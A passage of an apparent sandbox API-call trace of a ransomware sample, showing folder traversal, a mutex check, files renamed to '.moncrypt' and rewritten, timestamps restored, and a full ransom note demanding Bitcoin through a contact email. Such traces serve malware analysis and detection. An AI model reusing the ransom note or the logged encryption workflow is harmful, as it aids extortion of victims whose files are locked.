nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뻜R企@\x18?T\x18\x8f")) returned 0xffffffff [0051.396] GetLastError () returned 0x2 [0051.396] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0c8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0051.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.396] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18\x97")) returned 0xffffffff [0051.396] GetLastError () returned 0x2 [0051.397] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0c8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0051.397] GlobalLock (hMem=0x440004) returned 0x550170 [0051.397] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.397] GlobalUnlock (hMem=0x440004) returned 0 [0051.397] GlobalLock (hMem=0x440004) returned 0x550170 [0051.397] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.397] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.397] GlobalUnlock (hMem=0x440004) returned 0 [0051.397] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.397] GlobalUnlock (hMem=0x44000c) returned 0 [0051.397] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.397] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0051.397] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.397] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0051.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0051.398] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.398] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.398] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.398] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0051.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a128, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.398] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.398] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.398] GlobalUnlock (hMem=0x44000c) returned 0 [0051.398] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.398] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.398] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.398] GlobalUnlock (hMem=0x44000c) returned 0 [0051.398] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.398] GlobalUnlock (hMem=0x440004) returned 0 [0051.398] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.399] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.399] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0c8, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.399] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.399] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0c8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.399] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.399] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0051.399] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.399] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0051.399] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.399] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0c8, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0051.400] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.400] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0c8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.400] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\echo\\") returned 0x3d [0051.400] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0c8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.400] GlobalLock (hMem=0x440004) returned 0x550170 [0051.400] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.400] GlobalUnlock (hMem=0x440004) returned 0 [0051.400] GlobalLock (hMem=0x440004) returned 0x550170 [0051.400] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.400] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.400] GlobalUnlock (hMem=0x440004) returned 0 [0051.400] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.400] GlobalUnlock (hMem=0x44000c) returned 0 [0051.400] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.400] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.400] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0051.400] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.400] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.401] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.401] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.401] GlobalUnlock (hMem=0x44000c) returned 0 [0051.401] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.401] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.401] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.401] GlobalUnlock (hMem=0x44000c) returned 0 [0051.401] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.401] GlobalUnlock (hMem=0x440004) returned 0 [0051.401] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.401] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0051.402] CloseHandle (hObject=0x18c) returned 1 [0051.403] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\я")) returned 1 [0051.404] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 0x54e240 [0051.404] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.404] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.404] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", dwFileAttributes=0x20) returned 1 [0051.410] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.410] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm.moncrypt")) returned 1 [0051.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.411] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.411] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xb0ce [0051.411] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.411] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.414] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.414] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.414] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.414] GlobalUnlock (hMem=0x44000c) returned 0 [0051.414] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0051.414] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.414] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.414] GlobalUnlock (hMem=0x44000c) returned 0 [0051.414] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.414] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.414] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.414] GlobalUnlock (hMem=0x440004) returned 0 [0051.414] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.414] GlobalUnlock (hMem=0x44000c) returned 0 [0051.414] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.414] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.414] GlobalUnlock (hMem=0x44000c) returned 0 [0051.414] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.414] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.414] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.414] GlobalUnlock (hMem=0x44000c) returned 0 [0051.414] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.414] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.414] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.415] SetFilePointer (in: hFile=0x18c, lDistanceToMove=45262, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xb0ce [0051.415] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.415] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.415] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.426] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.426] CloseHandle (hObject=0x18c) returned 1 [0051.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.427] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.427] CloseHandle (hObject=0x18c) returned 1 [0051.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0051.428] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.428] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.428] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.428] GlobalUnlock (hMem=0x44000c) returned 0 [0051.428] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.428] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.428] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.428] GlobalUnlock (hMem=0x44000c) returned 0 [0051.428] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.428] GlobalUnlock (hMem=0x440004) returned 0 [0051.428] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.428] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a0d8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0051.429] GetLastError () returned 0x2 [0051.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.431] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0051.432] CloseHandle (hObject=0x18c) returned 1 [0051.433] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0051.433] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.433] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.433] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.433] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.433] GlobalUnlock (hMem=0x440004) returned 0 [0051.433] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.433] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.433] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.433] GlobalUnlock (hMem=0x440004) returned 0 [0051.433] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.433] GlobalUnlock (hMem=0x44000c) returned 0 [0051.433] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.433] CharLowerBuffW (in: lpsz="ECHO.INF", cchLength=0x8 | out: lpsz="echo.inf") returned 0x8 [0051.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, 